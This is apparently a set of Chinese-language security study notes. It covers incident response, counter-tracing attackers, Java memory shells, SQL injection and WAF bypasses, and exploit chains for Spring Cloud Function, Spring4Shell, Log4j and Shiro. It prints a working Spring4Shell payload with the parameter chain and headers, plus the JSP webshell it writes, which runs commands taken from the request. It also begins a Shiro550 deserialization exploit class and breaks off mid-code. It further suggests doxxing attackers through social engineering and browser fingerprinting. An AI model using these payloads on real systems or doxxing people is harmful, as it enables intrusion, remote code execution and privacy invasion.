应急响应：

收集信息：收集客户信息和中毒主机信息，包括样本。找到webshell文件，拿到流量日志，第一时间进行可疑ip封堵，关闭可疑连接

判断类型：事件分析，事件造成了哪些影响大概等等。

深入分析：日志分析、进程分析、启动项分析、样本分析，进行详细分析。

清理处置：直接杀掉进程，删除文件，打补丁，查杀定时任务抑或是修复文件。

产出报告：溯源报告整理并输出完整的安全事件报告。

溯源反打：

获取到VPS IP 可以尝试进行反向渗透，whois查询，如果有博客可以尝试社工加好友

获取到用户ID昵称，可以通过论坛，社交平台，搜索引擎进行匹配搜索

基于JSONP跨域，webrtc 获取攻击者的主机信息、浏览器信息、真实 IP及社交信息

等，后进行人肉

蜜罐溯源：mysql蜜罐读取用户的社交账号信息

sqlmap构造恶意

xss反打：构造虚假返回

JAVA内存马：

filtter

servlet

Listern

注入方式：

通过反射或者别的方式获取到ApplicationContext/servletContext/StandardContext类的方法动态加载恶意类 注入filter ， standardContext.addFilterMapBefore(o1);//添加一个filtermap到standardContext中，路由匹配规则

filterConfigs.put(FilterName,filterConfig);//把恶意配置加载进配置

servelt需要把standardCtx.addServletMapping("/shell","jweny");//添加ServletMapping将访问的URL和Servlet进行绑定

Java-Agent

Shiro的反序列化是在请求头的Header中的，而注入内存马时用到的payload长度超过了Header的最大长度，需要先通过反序列化修改Header的最大长度再注入内存马。

sql无回显：延时注入banchmark(进行大量运算),sleep()，load_file函数可用。

防御sql：

开启预编译执行SQL的时候，则不会这么处理。会当成一个属性值。什么意思。随便你怎么加，都是一个值。也就是说，如果中间有产生歧义的，都将被处理掉

绕过sqlwaf：参数污染，协议文件格式，大小写，替换关键字，编码，内联注释，等价函数，缓冲区溢出，边界绕过云waf，利用ssrf

不论我们传入的参数是什么都会被赋值给 "?" 被当作一个字符串整体，所以不会产生歧义防止了sql注入

String sql = “insert into t_customer values(?,?,?,?)

EXP:类似爬虫，发送payload，看漏洞返回特征进行检验知否成功

shiro721和550的区别：721的加密方式有缺陷可以被爆破出密钥，其他漏洞利用方式和550一致

最新的漏洞：

spring-cloud-function:

漏洞是出在SpringCloud Function的RoutingFunction功能上，其功能的目的本身就是为了微服务应运而生的，可以直接通过HTTP请求与单个的函数进行交互，同时为spring.cloud.function.definition参数提供您要调用的函数的名称。

漏洞是出在SpringCloud Function的RoutingFunction的route方法里，在这⾥判断了请求headers头中有没有spring.cloud.function.routing-expression参数SpringCloud Function会直接将其参数内容直接带入到SPEL中查询，造成SPEL漏洞注入。

可以直接通过HTTP请求与单个的函数进行交互，同时为spring.cloud.function.definition参数提供您要调用的函数的名称。

调用链：processRequest方法，程序会判断当前请求是否为RoutingFunction，并将我们提交的请求头和请求体内容编译成Message并且传入FunctionInvocationWrapper的apply方法中->apply方法发现该方法又将参数信息传入doApply方法->routingFunction()下的apply方法->.RoutingFunction的route方法，route方法会判断请求头中有没有spring.cloud.function.routing-expression参数->因为我们有该参数，所以程序进入到this.functionFromExpression()方法->最终由SpelExpressionParser来解析，导致Spel表达式注入。

spring-core

调用链：

springmvc的getPropertyAccessorForPropertyPath(String) 方法通过递归调用自身实现了对

User.getClass()

java.lang.Class.getModule()

java.lang.Module.getClassLoader()

org.apache.catalina.loader.ParallelWebappClassLoader.getResources()

org.apache.catalina.webresources.StandardRoot.getContext()

org.apache.catalina.core.StandardContext.getParent()

org.apache.catalina.core.StandardHost.getPipeline()

org.apache.catalina.core.StandardPipeline.getFirst()

org.apache.catalina.valves.AccessLogValve.setPattern()

设置参数为：

%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i，
headers = {"suffix":"%>//",

"c1":"Runtime",

"c2":"<%",

"DNT":"1",

"Content-Type":"application/x-www-form-urlencoded"

}

3.1.2 suffix参数
参数名：
class.module.classLoader.resources.context.parent.pipeline.first.suffix 参数值：.jsp
directory参数
参数名：class.module.classLoader.resources.context.parent.pipeline.first.directory
参数值：webapps/ROOT
3.1.4 prefix参数
参数名：class.module.classLoader.resources.context.parent.pipeline.first.prefix
参数值：tomcatwar
3.1.5 fileDateFormat参数
参数名：class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat参数值：空

headers = {"suffix":"%>//",

"c1":"Runtime",

"c2":"<%",

"DNT":"1",

"Content-Type":"application/x-www-form-urlencoded"

}

得到：

最终可以得到AccessLogValve输出的日志实际内容如下（已格式化）：

<%

if("j".equals(request.getParameter("pwd"))){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

while((a=in.read(b))!=-1){

out.println(new String(b));

}

}

%>//
3.1.6 总结

至此，经过上述的分析，结论非常清晰了：通过请求传入的参数，利用SpringMVC参数绑定机制，控制了Tomcat AccessLogValve的属性，让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp，该“访问日志”实际上为一个JSP webshell。

原理：利用SpringMVC参数绑定机制，控制了Tomcat AccessLogValve的属性，让Tomcat在webapps/ROOT目录输出定制的“访问日志”

tomcatwar.jsp，该“访问日志”实际上为一个JSP webshell。

log4j:

log4j的lookup方法可以动态的解析用户的输入，攻击者可以通过输入恶意的代码达到rce的目的

log4j引入了一个Jndi Lookup lookup的统一接口，然后JNDI就是对lookup接口的实现，同时log4j会尝试解析日志，这个时候在任意地点构造jndi远程加载恶意类 就会被解析并且执行

shiro550无依赖链：

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;


public class CBAttck {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\Cc\IntelliJ IDEA 2021.1\Code\out\production\Code\ClassLoader\Hacker.class"));
        byte[][] codes = {code};//恶意类
        //CC3
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes",codes);
        setFieldValue(obj, "_name", "aaaa");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        //CB
        BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue